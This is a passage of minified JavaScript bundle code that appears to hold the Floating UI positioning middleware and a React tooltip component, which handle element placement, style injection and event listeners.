t.reference[l]>t.floating[l]&&(i=_(i)),[i,_(i)]}function w(e){const t=_(e);return[b(e),t,b(t)]}function b(e){return e.replace(/start|end/g,(e=>a[e]))}function x(e,t,o,n){const r=p(e);let l=function(e,t,o){const n=["left","right"],r=["right","left"],l=["top","bottom"],i=["bottom","top"];switch(e){case"top":case"bottom":return o?t?r:n:t?n:r;case"left":case"right":return t?l:i;default:return[]}}(f(e),"start"===o,n);return r&&(l=l.map((e=>e+"-"+r)),t&&(l=l.concat(l.map(b)))),l}function _(e){return e.replace(/left|right|bottom|top/g,(e=>c[e]))}function E(e){return"number"!=typeof e?function(e){return{top:0,right:0,bottom:0,left:0,...e}}(e):{top:e,right:e,bottom:e,left:e}}function S(e){const{x:t,y:o,width:n,height:r}=e;return{width:n,height:r,top:o,left:t,right:t+n,bottom:o+r,x:t,y:o}}},9519:(e,t,o)=>{"use strict";o.d(t,{m_:()=>M});var n=o(1609),r=o(7193);function l(e,t,o){let{reference:n,floating:l}=e;const i=(0,r.TV)(t),s=(0,r.Dz)(t),c=(0,r.sq)(s),a=(0,r.C0)(t),u="y"===i,d=n.x+n.width/2-l.width/2,f=n.y+n.height/2-l.height/2,p=n[c]/2-l[c]/2;let m;switch(a){case"top":m={x:d,y:n.y-l.height};break;case"bottom":m={x:d,y:n.y+n.height};break;case"right":m={x:n.x+n.width,y:f};break;case"left":m={x:n.x-l.width,y:f};break;default:m={x:n.x,y:n.y}}switch((0,r.Sg)(t)){case"start":m[s]-=p*(o&&u?-1:1);break;case"end":m[s]+=p*(o&&u?-1:1)}return m}async function i(e,t){var o;void 0===t&&(t={});const{x:n,y:l,platform:i,rects:s,elements:c,strategy:a}=e,{boundary:u="clippingAncestors",rootBoundary:d="viewport",elementContext:f="floating",altBoundary:p=!1,padding:m=0}=(0,r._3)(t,e),v=(0,r.nI)(m),y=c[p?"floating"===f?"reference":"floating":f],h=(0,r.B1)(await i.getClippingRect({element:null==(o=await(null==i.isElement?void 0:i.isElement(y)))||o?y:y.contextElement||await(null==i.getDocumentElement?void 0:i.getDocumentElement(c.floating)),boundary:u,rootBoundary:d,strategy:a})),g="floating"===f?{x:n,y:l,width:s.floating.width,height:s.floating.height}:s.reference,w=await(null==i.getOffsetParent?void 0:i.getOffsetParent(c.floating)),b=await(null==i.isElement?void 0:i.isElement(w))&&await(null==i.getScale?void 0:i.getScale(w))||{x:1,y:1},x=(0,r.B1)(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({elements:c,rect:g,offsetParent:w,strategy:a}):g);return{top:(h.top-x.top+v.top)/b.y,bottom:(x.bottom-h.bottom+v.bottom)/b.y,left:(h.left-x.left+v.left)/b.x,right:(x.right-h.right+v.right)/b.x}}var s=o(6635);function c(e){const t=(0,s.L9)(e);let o=parseFloat(t.width)||0,n=parseFloat(t.height)||0;const l=(0,s.sb)(e),i=l?e.offsetWidth:o,c=l?e.offsetHeight:n,a=(0,r.LI)(o)!==i||(0,r.LI)(n)!==c;return a&&(o=i,n=c),{width:o,height:n,$:a}}function a(e){return(0,s.vq)(e)?e:e.contextElement}function u(e){const t=a(e);if(!(0,s.sb)(t))return(0,r.Jx)(1);const o=t.getBoundingClientRect(),{width:n,height:l,$:i}=c(t);let u=(i?(0,r.LI)(o.width):o.width)/n,d=(i?(0,r.LI)(o.height):o.height)/l;return u&&Number.isFinite(u)||(u=1),d&&Number.isFinite(d)||(d=1),{x:u,y:d}}const d=(0,r.Jx)(0);function f(e){const t=(0,s.zk)(e);return(0,s.Tc)()&&t.visualViewport?{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}:d}function p(e,t,o,n){void 0===t&&(t=!1),void 0===o&&(o=!1);const l=e.getBoundingClientRect(),i=a(e);let c=(0,r.Jx)(1);t&&(n?(0,s.vq)(n)&&(c=u(n)):c=u(e));const d=function(e,t,o){return void 0===t&&(t=!1),!(!o||t&&o!==(0,s.zk)(e))&&t}(i,o,n)?f(i):(0,r.Jx)(0);let p=(l.left+d.x)/c.x,m=(l.top+d.y)/c.y,v=l.width/c.x,y=l.height/c.y;if(i){const e=(0,s.zk)(i),t=n&&(0,s.vq)(n)?(0,s.zk)(n):n;let o=e,r=(0,s._m)(o);for(;r&&n&&t!==o;){const e=u(r),t=r.getBoundingClientRect(),n=(0,s.L9)(r),l=t.left+(r.clientLeft+parseFloat(n.paddingLeft))*e.x,i=t.top+(r.clientTop+parseFloat(n.paddingTop))*e.y;p*=e.x,m*=e.y,v*=e.x,y*=e.y,p+=l,m+=i,o=(0,s.zk)(r),r=(0,s._m)(o)}}return(0,r.B1)({width:v,height:y,x:p,y:m})}function m(e,t){const o=(0,s.CP)(e).scrollLeft;return t?t.left+o:p((0,s.ep)(e)).left+o}function v(e,t,o){let n;if("viewport"===t)n=function(e,t){const o=(0,s.zk)(e),n=(0,s.ep)(e),r=o.visualViewport;let l=n.clientWidth,i=n.clientHeight,c=0,a=0;if(r){l=r.width,i=r.height;const e=(0,s.Tc)();(!e||e&&"fixed"===t)&&(c=r.offsetLeft,a=r.offsetTop)}return{width:l,height:i,x:c,y:a}}(e,o);else if("document"===t)n=function(e){const t=(0,s.ep)(e),o=(0,s.CP)(e),n=e.ownerDocument.body,l=(0,r.T9)(t.scrollWidth,t.clientWidth,n.scrollWidth,n.clientWidth),i=(0,r.T9)(t.scrollHeight,t.clientHeight,n.scrollHeight,n.clientHeight);let c=-o.scrollLeft+m(e);const a=-o.scrollTop;return"rtl"===(0,s.L9)(n).direction&&(c+=(0,r.T9)(t.clientWidth,n.clientWidth)-l),{width:l,height:i,x:c,y:a}}((0,s.ep)(e));else if((0,s.vq)(t))n=function(e,t){const o=p(e,!0,"fixed"===t),n=o.top+e.clientTop,l=o.left+e.clientLeft,i=(0,s.sb)(e)?u(e):(0,r.Jx)(1);return{width:e.clientWidth*i.x,height:e.clientHeight*i.y,x:l*i.x,y:n*i.y}}(t,o);else{const o=f(e);n={...t,x:t.x-o.x,y:t.y-o.y}}return(0,r.B1)(n)}function y(e,t){const o=(0,s.$4)(e);return!(o===t||!(0,s.vq)(o)||(0,s.eu)(o))&&("fixed"===(0,s.L9)(o).position||y(o,t))}function h(e,t,o){const n=(0,s.sb)(t),l=(0,s.ep)(t),i="fixed"===o,c=p(e,!0,i,t);let a={scrollLeft:0,scrollTop:0};const u=(0,r.Jx)(0);if(n||!n&&!i)if(("body"!==(0,s.mq)(t)||(0,s.ZU)(l))&&(a=(0,s.CP)(t)),n){const e=p(t,!0,i,t);u.x=e.x+t.clientLeft,u.y=e.y+t.clientTop}else l&&(u.x=m(l));let d=0,f=0;if(l&&!n&&!i){const e=l.getBoundingClientRect();f=e.top+a.scrollTop,d=e.left+a.scrollLeft-m(l,e)}return{x:c.left+a.scrollLeft-u.x-d,y:c.top+a.scrollTop-u.y-f,width:c.width,height:c.height}}function g(e){return"static"===(0,s.L9)(e).position}function w(e,t){if(!(0,s.sb)(e)||"fixed"===(0,s.L9)(e).position)return null;if(t)return t(e);let o=e.offsetParent;return(0,s.ep)(e)===o&&(o=o.ownerDocument.body),o}function b(e,t){const o=(0,s.zk)(e);if((0,s.Tf)(e))return o;if(!(0,s.sb)(e)){let t=(0,s.$4)(e);for(;t&&!(0,s.eu)(t);){if((0,s.vq)(t)&&!g(t))return t;t=(0,s.$4)(t)}return o}let n=w(e,t);for(;n&&(0,s.Lv)(n)&&g(n);)n=w(n,t);return n&&(0,s.eu)(n)&&g(n)&&!(0,s.sQ)(n)?o:n||(0,s.gJ)(e)||o}const x={convertOffsetParentRelativeRectToViewportRelativeRect:function(e){let{elements:t,rect:o,offsetParent:n,strategy:l}=e;const i="fixed"===l,c=(0,s.ep)(n),a=!!t&&(0,s.Tf)(t.floating);if(n===c||a&&i)return o;let d={scrollLeft:0,scrollTop:0},f=(0,r.Jx)(1);const m=(0,r.Jx)(0),v=(0,s.sb)(n);if((v||!v&&!i)&&(("body"!==(0,s.mq)(n)||(0,s.ZU)(c))&&(d=(0,s.CP)(n)),(0,s.sb)(n))){const e=p(n);f=u(n),m.x=e.x+n.clientLeft,m.y=e.y+n.clientTop}return{width:o.width*f.x,height:o.height*f.y,x:o.x*f.x-d.scrollLeft*f.x+m.x,y:o.y*f.y-d.scrollTop*f.y+m.y}},getDocumentElement:s.ep,getClippingRect:function(e){let{element:t,boundary:o,rootBoundary:n,strategy:l}=e;const i=[..."clippingAncestors"===o?(0,s.Tf)(t)?[]:function(e,t){const o=t.get(e);if(o)return o;let n=(0,s.v9)(e,[],!1).filter((e=>(0,s.vq)(e)&&"body"!==(0,s.mq)(e))),r=null;const l="fixed"===(0,s.L9)(e).position;let i=l?(0,s.$4)(e):e;for(;(0,s.vq)(i)&&!(0,s.eu)(i);){const t=(0,s.L9)(i),o=(0,s.sQ)(i);o||"fixed"!==t.position||(r=null),(l?!o&&!r:!o&&"static"===t.position&&r&&["absolute","fixed"].includes(r.position)||(0,s.ZU)(i)&&!o&&y(e,i))?n=n.filter((e=>e!==i)):r=t,i=(0,s.$4)(i)}return t.set(e,n),n}(t,this._c):[].concat(o),n],c=i[0],a=i.reduce(((e,o)=>{const n=v(t,o,l);return e.top=(0,r.T9)(n.top,e.top),e.right=(0,r.jk)(n.right,e.right),e.bottom=(0,r.jk)(n.bottom,e.bottom),e.left=(0,r.T9)(n.left,e.left),e}),v(t,c,l));return{width:a.right-a.left,height:a.bottom-a.top,x:a.left,y:a.top}},getOffsetParent:b,getElementRects:async function(e){const t=this.getOffsetParent||b,o=this.getDimensions,n=await o(e.floating);return{reference:h(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:n.width,height:n.height}}},getClientRects:function(e){return Array.from(e.getClientRects())},getDimensions:function(e){const{width:t,height:o}=c(e);return{width:t,height:o}},getScale:u,isElement:s.vq,isRTL:function(e){return"rtl"===(0,s.L9)(e).direction}};const _=function(e){return void 0===e&&(e=0),{name:"offset",options:e,async fn(t){var o,n;const{x:l,y:i,placement:s,middlewareData:c}=t,a=await async function(e,t){const{placement:o,platform:n,elements:l}=e,i=await(null==n.isRTL?void 0:n.isRTL(l.floating)),s=(0,r.C0)(o),c=(0,r.Sg)(o),a="y"===(0,r.TV)(o),u=["left","top"].includes(s)?-1:1,d=i&&a?-1:1,f=(0,r._3)(t,e);let{mainAxis:p,crossAxis:m,alignmentAxis:v}="number"==typeof f?{mainAxis:f,crossAxis:0,alignmentAxis:null}:{mainAxis:f.mainAxis||0,crossAxis:f.crossAxis||0,alignmentAxis:f.alignmentAxis};return c&&"number"==typeof v&&(m="end"===c?-1*v:v),a?{x:m*d,y:p*u}:{x:p*u,y:m*d}}(t,e);return s===(null==(o=c.offset)?void 0:o.placement)&&null!=(n=c.arrow)&&n.alignmentOffset?{}:{x:l+a.x,y:i+a.y,data:{...a,placement:s}}}}},E=function(e){return void 0===e&&(e={}),{name:"shift",options:e,async fn(t){const{x:o,y:n,placement:l}=t,{mainAxis:s=!0,crossAxis:c=!1,limiter:a={fn:e=>{let{x:t,y:o}=e;return{x:t,y:o}}},...u}=(0,r._3)(e,t),d={x:o,y:n},f=await i(t,u),p=(0,r.TV)((0,r.C0)(l)),m=(0,r.PG)(p);let v=d[m],y=d[p];if(s){const e="y"===m?"bottom":"right",t=v+f["y"===m?"top":"left"],o=v-f[e];v=(0,r.qE)(t,v,o)}if(c){const e="y"===p?"bottom":"right",t=y+f["y"===p?"top":"left"],o=y-f[e];y=(0,r.qE)(t,y,o)}const h=a.fn({...t,[m]:v,[p]:y});return{...h,data:{x:h.x-o,y:h.y-n,enabled:{[m]:s,[p]:c}}}}}},S=function(e){return void 0===e&&(e={}),{name:"flip",options:e,async fn(t){var o,n;const{placement:l,middlewareData:s,rects:c,initialPlacement:a,platform:u,elements:d}=t,{mainAxis:f=!0,crossAxis:p=!0,fallbackPlacements:m,fallbackStrategy:v="bestFit",fallbackAxisSideDirection:y="none",flipAlignment:h=!0,...g}=(0,r._3)(e,t);if(null!=(o=s.arrow)&&o.alignmentOffset)return{};const w=(0,r.C0)(l),b=(0,r.TV)(a),x=(0,r.C0)(a)===a,_=await(null==u.isRTL?void 0:u.isRTL(d.floating)),E=m||(x||!h?[(0,r.bV)(a)]:(0,r.WJ)(a)),S="none"!==y;!m&&S&&E.push(...(0,r.lP)(a,h,y,_));const T=[a,...E],A=await i(t,g),k=[];let L=(null==(n=s.flip)?void 0:n.overflows)||[];if(f&&k.push(A[w]),p){const e=(0,r.w7)(l,c,_);k.push(A[e[0]],A[e[1]])}if(L=[...L,{placement:l,overflows:k}],!k.every((e=>e<=0))){var R,O;const e=((null==(R=s.flip)?void 0:R.index)||0)+1,t=T[e];if(t)return{data:{index:e,overflows:L},reset:{placement:t}};let o=null==(O=L.filter((e=>e.overflows[0]<=0)).sort(((e,t)=>e.overflows[1]-t.overflows[1]))[0])?void 0:O.placement;if(!o)switch(v){case"bestFit":{var C;const e=null==(C=L.filter((e=>{if(S){const t=(0,r.TV)(e.placement);return t===b||"y"===t}return!0})).map((e=>[e.placement,e.overflows.filter((e=>e>0)).reduce(((e,t)=>e+t),0)])).sort(((e,t)=>e[1]-t[1]))[0])?void 0:C[0];e&&(o=e);break}case"initialPlacement":o=a}if(l!==o)return{reset:{placement:o}}}return{}}}},T=(e,t,o)=>{const n=new Map,r={platform:x,...o},i={...r.platform,_c:n};return(async(e,t,o)=>{const{placement:n="bottom",strategy:r="absolute",middleware:i=[],platform:s}=o,c=i.filter(Boolean),a=await(null==s.isRTL?void 0:s.isRTL(t));let u=await s.getElementRects({reference:e,floating:t,strategy:r}),{x:d,y:f}=l(u,n,a),p=n,m={},v=0;for(let o=0;o<c.length;o++){const{name:i,fn:y}=c[o],{x:h,y:g,data:w,reset:b}=await y({x:d,y:f,initialPlacement:n,placement:p,strategy:r,middlewareData:m,rects:u,platform:s,elements:{reference:e,floating:t}});d=null!=h?h:d,f=null!=g?g:f,m={...m,[i]:{...m[i],...w}},b&&v<=50&&(v++,"object"==typeof b&&(b.placement&&(p=b.placement),b.rects&&(u=!0===b.rects?await s.getElementRects({reference:e,floating:t,strategy:r}):b.rects),({x:d,y:f}=l(u,p,a))),o=-1)}return{x:d,y:f,placement:p,strategy:r,middlewareData:m}})(e,t,{...r,platform:i})};var A=o(6942);const k={core:!1,base:!1};function L({css:e,id:t="react-tooltip-base-styles",type:o="base",ref:n}){var r,l;if(!e||"undefined"==typeof document||k[o])return;if("core"===o&&"undefined"!=typeof process&&(null===(r=null===process||void 0===process?void 0:process.env)||void 0===r?void 0:r.REACT_TOOLTIP_DISABLE_CORE_STYLES))return;if("base"!==o&&"undefined"!=typeof process&&(null===(l=null===process||void 0===process?void 0:process.env)||void 0===l?void 0:l.REACT_TOOLTIP_DISABLE_BASE_STYLES))return;"core"===o&&(t="react-tooltip-core-styles"),n||(n={});const{insertAt:i}=n;if(document.getElementById(t))return;const s=document.head||document.getElementsByTagName("head")[0],c=document.createElement("style");c.id=t,c.type="text/css","top"===i&&s.firstChild?s.insertBefore(c,s.firstChild):s.appendChild(c),c.styleSheet?c.styleSheet.cssText=e:c.appendChild(document.createTextNode(e)),k[o]=!0}const R=async({elementReference:e=null,tooltipReference:t=null,tooltipArrowReference:o=null,place:n="top",offset:l=10,strategy:i="absolute",middlewares:s=[_(Number(l)),S({fallbackAxisSideDirection:"start"}),E({padding:5})],border:c})=>{if(!e)return{tooltipStyles:{},tooltipArrowStyles:{},place:n};if(null===t)return{tooltipStyles:{},tooltipArrowStyles:{},place:n};const a=s;return o?(a.push({name:"arrow",options:u={element:o,padding:5},async fn(e){const{x:t,y:o,placement:n,rects:l,platform:i,elements:s,middlewareData:c}=e,{element:a,padding:d=0}=(0,r._3)(u,e)||{};if(null==a)return{};const f=(0,r.nI)(d),p={x:t,y:o},m=(0,r.Dz)(n),v=(0,r.sq)(m),y=await i.getDimensions(a),h="y"===m,g=h?"top":"left",w=h?"bottom":"right",b=h?"clientHeight":"clientWidth",x=l.reference[v]+l.reference[m]-p[m]-l.floating[v],_=p[m]-l.reference[m],E=await(null==i.getOffsetParent?void 0:i.getOffsetParent(a));let S=E?E[b]:0;S&&await(null==i.isElement?void 0:i.isElement(E))||(S=s.floating[b]||l.floating[v]);const T=x/2-_/2,A=S/2-y[v]/2-1,k=(0,r.jk)(f[g],A),L=(0,r.jk)(f[w],A),R=k,O=S-y[v]-L,C=S/2-y[v]/2+T,D=(0,r.qE)(R,C,O),I=!c.arrow&&null!=(0,r.Sg)(n)&&C!==D&&l.reference[v]/2-(C<R?k:L)-y[v]/2<0,q=I?C<R?C-R:C-O:0;return{[m]:p[m]+q,data:{[m]:D,centerOffset:C-D-q,...I&&{alignmentOffset:q}},reset:I}}}),T(e,t,{placement:n,strategy:i,middleware:a}).then((({x:e,y:t,placement:o,middlewareData:n})=>{var r,l;const i={left:`${e}px`,top:`${t}px`,border:c},{x:s,y:a}=null!==(r=n.arrow)&&void 0!==r?r:{x:0,y:0},u=null!==(l={top:"bottom",right:"left",bottom:"top",left:"right"}[o.split("-")[0]])&&void 0!==l?l:"bottom",d=c&&{borderBottom:c,borderRight:c};let f=0;if(c){const e=`${c}`.match(/(\d+)px/);f=(null==e?void 0:e[1])?Number(e[1]):1}return{tooltipStyles:i,tooltipArrowStyles:{left:null!=s?`${s}px`:"",top:null!=a?`${a}px`:"",right:"",bottom:"",...d,[u]:`-${4+f}px`},place:o}}))):T(e,t,{placement:"bottom",strategy:i,middleware:a}).then((({x:e,y:t,placement:o})=>({tooltipStyles:{left:`${e}px`,top:`${t}px`},tooltipArrowStyles:{},place:o})));var u},O=(e,t)=>!("CSS"in window&&"supports"in window.CSS)||window.CSS.supports(e,t),C=(e,t,o)=>{let n=null;const r=function(...r){const l=()=>{n=null,o||e.apply(this,r)};o&&!n&&(e.apply(this,r),n=setTimeout(l,t)),o||(n&&clearTimeout(n),n=setTimeout(l,t))};return r.cancel=()=>{n&&(clearTimeout(n),n=null)},r},D=e=>null!==e&&!Array.isArray(e)&&"object"==typeof e,I=(e,t)=>{if(e===t)return!0;if(Array.isArray(e)&&Array.isArray(t))return e.length===t.length&&e.every(((e,o)=>I(e,t[o])));if(Array.isArray(e)!==Array.isArray(t))return!1;if(!D(e)||!D(t))return e===t;const o=Object.keys(e),n=Object.keys(t);return o.length===n.length&&o.every((o=>I(e[o],t[o])))},q=e=>{if(!(e instanceof HTMLElement||e instanceof SVGElement))return!1;const t=getComputedStyle(e);return["overflow","overflow-x","overflow-y"].some((e=>{const o=t.getPropertyValue(e);return"auto"===o||"scroll"===o}))},N=e=>{if(!e)return null;let t=e.parentElement;for(;t;){if(q(t))return t;t=t.parentElement}return document.scrollingElement||document.documentElement},P="undefined"!=typeof window?n.useLayoutEffect:n.useEffect,$=e=>{e.current&&(clearTimeout(e.current),e.current=null)},z={anchorRefs:new Set,activeAnchor:{current:null},attach:()=>{},detach:()=>{},setActiveAnchor:()=>{}},B=(0,n.createContext)({getTooltipData:()=>z});function j(e="DEFAULT_TOOLTIP_ID"){return(0,n.useContext)(B).getTooltipData(e)}var W={tooltip:"core-styles-module_tooltip__3vRRp",fixed:"core-styles-module_fixed__pcSol",arrow:"core-styles-module_arrow__cvMwQ",noArrow:"core-styles-module_noArrow__xock6",clickable:"core-styles-module_clickable__ZuTTB",show:"core-styles-module_show__Nt9eE",closing:"core-styles-module_closing__sGnxF"},H={tooltip:"styles-module_tooltip__mnnfp",arrow:"styles-module_arrow__K0L3T",dark:"styles-module_dark__xNqje",light:"styles-module_light__Z6W-X",success:"styles-module_success__A2AKt",warning:"styles-module_warning__SCK0X",error:"styles-module_error__JvumD",info:"styles-module_info__BWdHW"};const V=({forwardRef:e,id:t,className:o,classNameArrow:l,variant:i="dark",anchorId:c,anchorSelect:u,place:d="top",offset:f=10,events:m=["hover"],openOnClick:v=!1,positionStrategy:y="absolute",middlewares:h,wrapper:g,delayShow:w=0,delayHide:b=0,float:x=!1,hidden:_=!1,noArrow:E=!1,clickable:S=!1,closeOnEsc:T=!1,closeOnScroll:k=!1,closeOnResize:L=!1,openEvents:O,closeEvents:D,globalCloseEvents:q,imperativeModeOnly:z,style:B,position:V,afterShow:F,afterHide:M,disableTooltip:J,content:K,contentWrapperRef:Z,isOpen:U,defaultIsOpen:X=!1,setIsOpen:G,activeAnchor:Q,setActiveAnchor:Y,border:ee,opacity:te,arrowColor:oe,role:ne="tooltip"})=>{var re;const le=(0,n.useRef)(null),ie=(0,n.useRef)(null),se=(0,n.useRef)(null),ce=(0,n.useRef)(null),ae=(0,n.useRef)(null),[ue,de]=(0,n.useState)({tooltipStyles:{},tooltipArrowStyles:{},place:d}),[fe,pe]=(0,n.useState)(!1),[me,ve]=(0,n.useState)(!1),[ye,he]=(0,n.useState)(null),ge=(0,n.useRef)(!1),we=(0,n.useRef)(null),{anchorRefs:be,setActiveAnchor:xe}=j(t),_e=(0,n.useRef)(!1),[Ee,Se]=(0,n.useState)([]),Te=(0,n.useRef)(!1),Ae=v||m.includes("click"),ke=Ae||(null==O?void 0:O.click)||(null==O?void 0:O.dblclick)||(null==O?void 0:O.mousedown),Le=O?{...O}:{mouseover:!0,focus:!0,mouseenter:!1,click:!1,dblclick:!1,mousedown:!1};!O&&Ae&&Object.assign(Le,{mouseenter:!1,focus:!1,mouseover:!1,click:!0});const Re=D?{...D}:{mouseout:!0,blur:!0,mouseleave:!1,click:!1,dblclick:!1,mouseup:!1};!D&&Ae&&Object.assign(Re,{mouseleave:!1,blur:!1,mouseout:!1});const Oe=q?{...q}:{escape:T||!1,scroll:k||!1,resize:L||!1,clickOutsideAnchor:ke||!1};z&&(Object.assign(Le,{mouseenter:!1,focus:!1,click:!1,dblclick:!1,mousedown:!1}),Object.assign(Re,{mouseleave:!1,blur:!1,click:!1,dblclick:!1,mouseup:!1}),Object.assign(Oe,{escape:!1,scroll:!1,resize:!1,clickOutsideAnchor:!1})),P((()=>(Te.current=!0,()=>{Te.current=!1})),[]);const Ce=e=>{Te.current&&(e&&ve(!0),setTimeout((()=>{Te.current&&(null==G||G(e),void 0===U&&pe(e))}),10))};(0,n.useEffect)((()=>{if(void 0===U)return()=>null;U&&ve(!0);const e=setTimeout((()=>{pe(U)}),10);return()=>{clearTimeout(e)}}),[U]),(0,n.useEffect)((()=>{if(fe!==ge.current)if($(ae),ge.current=fe,fe)null==F||F();else{const e=(()=>{const e=getComputedStyle(document.body).getPropertyValue("--rt-transition-show-delay").match(/^([\d.]+)(ms|s)$/);if(!e)return 0;const[,t,o]=e;return Number(t)*("ms"===o?1:1e3)})();ae.current=setTimeout((()=>{ve(!1),he(null),null==M||M()}),e+25)}}),[fe]);const De=e=>{de((t=>I(t,e)?t:e))},Ie=(e=w)=>{$(se),me?Ce(!0):se.current=setTimeout((()=>{Ce(!0)}),e)},qe=(e=b)=>{$(ce),ce.current=setTimeout((()=>{_e.current||Ce(!1)}),e)},Ne=e=>{var t;if(!e)return;const o=null!==(t=e.currentTarget)&&void 0!==t?t:e.target;if(!(null==o?void 0:o.isConnected))return Y(null),void xe({current:null});w?Ie():Ce(!0),Y(o),xe({current:o}),$(ce)},Pe=()=>{S?qe(b||100):b?qe():Ce(!1),$(se)},$e=({x:e,y:t})=>{var o;const n={getBoundingClientRect:()=>({x:e,y:t,width:0,height:0,top:t,left:e,right:e,bottom:t})};R({place:null!==(o=null==ye?void 0:ye.place)&&void 0!==o?o:d,offset:f,elementReference:n,tooltipReference:le.current,tooltipArrowReference:ie.current,strategy:y,middlewares:h,border:ee}).then((e=>{De(e)}))},ze=e=>{if(!e)return;const t=e,o={x:t.clientX,y:t.clientY};$e(o),we.current=o},Be=e=>{var t;if(!fe)return;const o=e.target;o.isConnected&&((null===(t=le.current)||void 0===t?void 0:t.contains(o))||[document.querySelector(`[id='${c}']`),...Ee].some((e=>null==e?void 0:e.contains(o)))||(Ce(!1),$(se)))},je=C(Ne,50,!0),We=C(Pe,50,!0),He=e=>{We.cancel(),je(e)},Ve=()=>{je.cancel(),We()},Fe=(0,n.useCallback)((()=>{var e,t;const o=null!==(e=null==ye?void 0:ye.position)&&void 0!==e?e:V;o?$e(o):x?we.current&&$e(we.current):(null==Q?void 0:Q.isConnected)&&R({place:null!==(t=null==ye?void 0:ye.place)&&void 0!==t?t:d,offset:f,elementReference:Q,tooltipReference:le.current,tooltipArrowReference:ie.current,strategy:y,middlewares:h,border:ee}).then((e=>{Te.current&&De(e)}))}),[fe,Q,K,B,d,null==ye?void 0:ye.place,f,y,V,null==ye?void 0:ye.position,x]);(0,n.useEffect)((()=>{var e,t;const o=new Set(be);Ee.forEach((e=>{(null==J?void 0:J(e))||o.add({current:e})}));const n=document.querySelector(`[id='${c}']`);n&&!(null==J?void 0:J(n))&&o.add({current:n});const l=()=>{Ce(!1)},i=N(Q),u=N(le.current);Oe.scroll&&(window.addEventListener("scroll",l),null==i||i.addEventListener("scroll",l),null==u||u.addEventListener("scroll",l));let d=null;Oe.resize?window.addEventListener("resize",l):Q&&le.current&&(d=function(e,t,o,n){void 0===n&&(n={});const{ancestorScroll:l=!0,ancestorResize:i=!0,elementResize:c="function"==typeof ResizeObserver,layoutShift:u="function"==typeof IntersectionObserver,animationFrame:d=!1}=n,f=a(e),m=l||i?[...f?(0,s.v9)(f):[],...(0,s.v9)(t)]:[];m.forEach((e=>{l&&e.addEventListener("scroll",o,{passive:!0}),i&&e.addEventListener("resize",o)}));const v=f&&u?function(e,t){let o,n=null;const l=(0,s.ep)(e);function i(){var e;clearTimeout(o),null==(e=n)||e.disconnect(),n=null}return function s(c,a){void 0===c&&(c=!1),void 0===a&&(a=1),i();const{left:u,top:d,width:f,height:p}=e.getBoundingClientRect();if(c||t(),!f||!p)return;const m={rootMargin:-(0,r.RI)(d)+"px "+-(0,r.RI)(l.clientWidth-(u+f))+"px "+-(0,r.RI)(l.clientHeight-(d+p))+"px "+-(0,r.RI)(u)+"px",threshold:(0,r.T9)(0,(0,r.jk)(1,a))||1};let v=!0;function y(e){const t=e[0].intersectionRatio;if(t!==a){if(!v)return s();t?s(!1,t):o=setTimeout((()=>{s(!1,1e-7)}),1e3)}v=!1}try{n=new IntersectionObserver(y,{...m,root:l.ownerDocument})}catch(e){n=new IntersectionObserver(y,m)}n.observe(e)}(!0),i}(f,o):null;let y,h=-1,g=null;c&&(g=new ResizeObserver((e=>{let[n]=e;n&&n.target===f&&g&&(g.unobserve(t),cancelAnimationFrame(h),h=requestAnimationFrame((()=>{var e;null==(e=g)||e.observe(t)}))),o()})),f&&!d&&g.observe(f),g.observe(t));let w=d?p(e):null;return d&&function t(){const n=p(e);!w||n.x===w.x&&n.y===w.y&&n.width===w.width&&n.height===w.height||o(),w=n,y=requestAnimationFrame(t)}(),o(),()=>{var e;m.forEach((e=>{l&&e.removeEventListener("scroll",o),i&&e.removeEventListener("resize",o)})),null==v||v(),null==(e=g)||e.disconnect(),g=null,d&&cancelAnimationFrame(y)}}(Q,le.current,Fe,{ancestorResize:!0,elementResize:!0,layoutShift:!0}));const f=e=>{"Escape"===e.key&&Ce(!1)};Oe.escape&&window.addEventListener("keydown",f),Oe.clickOutsideAnchor&&window.addEventListener("click",Be);const m=[],v=e=>{fe&&(null==e?void 0:e.target)===Q||Ne(e)},y=e=>{fe&&(null==e?void 0:e.target)===Q&&Pe()},h=["mouseover","mouseout","mouseenter","mouseleave","focus","blur"],g=["click","dblclick","mousedown","mouseup"];Object.entries(Le).forEach((([e,t])=>{t&&(h.includes(e)?m.push({event:e,listener:He}):g.includes(e)&&m.push({event:e,listener:v}))})),Object.entries(Re).forEach((([e,t])=>{t&&(h.includes(e)?m.push({event:e,listener:Ve}):g.includes(e)&&m.push({event:e,listener:y}))})),x&&m.push({event:"pointermove",listener:ze});const w=()=>{_e.current=!0},b=()=>{_e.current=!1,Pe()};return S&&!ke&&(null===(e=le.current)||void 0===e||e.addEventListener("mouseenter",w),null===(t=le.current)||void 0===t||t.addEventListener("mouseleave",b)),m.forEach((({event:e,listener:t})=>{o.forEach((o=>{var n;null===(n=o.current)||void 0===n||n.addEventListener(e,t)}))})),()=>{var e,t;Oe.scroll&&(window.removeEventListener("scroll",l),null==i||i.removeEventListener("scroll",l),null==u||u.removeEventListener("scroll",l)),Oe.resize?window.removeEventListener("resize",l):null==d||d(),Oe.clickOutsideAnchor&&window.removeEventListener("click",Be),Oe.escape&&window.removeEventListener("keydown",f),S&&!ke&&(null===(e=le.current)||void 0===e||e.removeEventListener("mouseenter",w),null===(t=le.current)||void 0===t||t.removeEventListener("mouseleave",b)),m.forEach((({event:e,listener:t})=>{o.forEach((o=>{var n;null===(n=o.current)||void 0===n||n.removeEventListener(e,t)}))}))}}),[Q,Fe,me,be,Ee,O,D,q,Ae,w,b]),(0,n.useEffect)((()=>{var e,o;let n=null!==(o=null!==(e=null==ye?void 0:ye.anchorSelect)&&void 0!==e?e:u)&&void 0!==o?o:"";!n&&t&&(n=`[data-tooltip-id='${t.replace(/'/g,"\\'")}']`);const r=new MutationObserver((e=>{const o=[],r=[];e.forEach((e=>{if("attributes"===e.type&&"data-tooltip-id"===e.attributeName&&(e.target.getAttribute("data-tooltip-id")===t?o.push(e.target):e.oldValue===t&&r.push(e.target)),"childList"===e.type){if(Q){const t=[...e.removedNodes].filter((e=>1===e.nodeType));if(n)try{r.push(...t.filter((e=>e.matches(n)))),r.push(...t.flatMap((e=>[...e.querySelectorAll(n)])))}catch(e){}t.some((e=>{var t;return!!(null===(t=null==e?void 0:e.contains)||void 0===t?void 0:t.call(e,Q))&&(ve(!1),Ce(!1),Y(null),$(se),$(ce),!0)}))}if(n)try{const 